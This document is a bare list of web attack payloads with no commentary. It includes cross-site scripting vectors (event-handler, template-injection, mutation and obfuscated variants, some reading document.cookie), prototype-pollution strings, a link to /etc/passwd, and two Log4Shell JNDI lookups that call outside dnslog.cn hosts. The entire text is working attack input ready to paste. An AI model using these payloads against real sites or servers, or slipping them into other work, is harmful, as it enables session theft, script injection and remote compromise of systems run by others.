{{constructor.constructor('alert(document.domain)')()}}
<textarea> > test > > <img onerror="alert(1);//" src=x> "> ">< <img src=x onerror=alert(atob(`U2NyaXB0IEV4ZWN1dGlvbg==`))>"> ><img src="wrongUrl" onerror="alert(1)"/> t" onmouseover=alert(document.domain); a=" " onanimationstart="alert(document.domain) Onerror="top[8680439..toString(30)](document.cookie)" "onmouseover="prompt(document.domain) " onxXxxXXxXXXxx=() autofocus onmouseover=prompt(1)> " onxXxxXXxXXXxx=() onmouseover="prompt(document.domain) ?__proto__.__proto__.__proto__.__proto__.__proto__.srcdoc=<script>alert(document.domain)</script> {"__proto__":{"preventDefault":"x","handleObj":"x","delegateTarget":"<img/src/onerror=alert(1)>"}} {"dsdsds":"<b>asd</b>","__proto__":{"li":["1","<img src onerror=alert(1)>","1"]}} #__proto__[asd]=alert(document.domain) #__proto__[url][]=data:,alert(123)//&__proto__[dataType]=script #__proto__[preventDefault]=x&__proto__[handleObj]=x&__proto__[delegateTarget]=<img/src/onerror%3dalert(456)> #__proto__[div][1]=<img src onerror%3dalert(789)> <select><style></select><svg onload=alert(1)></style> \"><iframe/src=javascript:alert%26%23x000000028%3b)> ><input ng-focus=$event.view.alert('XSS')> javascript://java\javascript%3aalert(document.cookie) ><image href="1" onerror="alert(1)" /> <input onfocus=alert(1) id=x> <img/anyjunk/onerror=alert(1) src=a> <img onerror=eval('al\u0065rt(1)') src=a> ><sVg/onfake="x=y"oNload=;1^(co\u006efirm)``^1// burpdomxss input[value='\">\<iframe srcdoc=<script>alert(document.domain)&llt;/script>>\"'] <img src=x onerror="a='',b=!a+a,aa=!b+a,ab=a+{},ba=b[a++],bb=b[baa=a],bab=++baa+a,aaa=ab[baa+bab],b[aaa+=ab[a]+(b.aa+ab)[a]+aa[bab]+ba+bb+b[baa]+aaa+ba+ab[a]+bb][aaa](aa[a]+aa[baa]+b[bab]+bb+ba+'(a)')()"> ><svg><set onbegin=d=document,b='`',d['loca'+'tion']='javascript:aler'+'t'+b+domain+b> "accesskey="x"onclick="alert(1)"// "on <> onpointerenter="x=confirm,x(cookie) <a href="file:///etc/passwd">This will open etc passwd file</a> ><p><style><img src="</style><img src=x onerror=alert(1)//"> xss><svg/onload=globalThis[`al`+/ert/.source]`1`// “><svg/onload=globalThis[`al`+/ert/.source]`1`//,"> <noscript><img title="</noscript><iframe onload=alert(1)>"></noscript> "/><svg/on<script>load=prompt(document.domain);>"/><svg/on<script>load=prompt(document.cookie);> <svg><font color><title><u rel="</title><img src onerror=alert(document.domain)>"> <iframe srcdoc="<script>alert(1);</scr" + "ipt>"> Click Here {{constructor.constructor('alert(document.domain)')()}} "-top['al\x65rt'](document.domain)-" test",prompt%0A/*HelloWorld*/(document.domain) "> opener.alert(1) ${jndi:ldap://96a5gi.dnslog.cn} ${jndi:ldap://jjzw07.dnslog.cn/a}
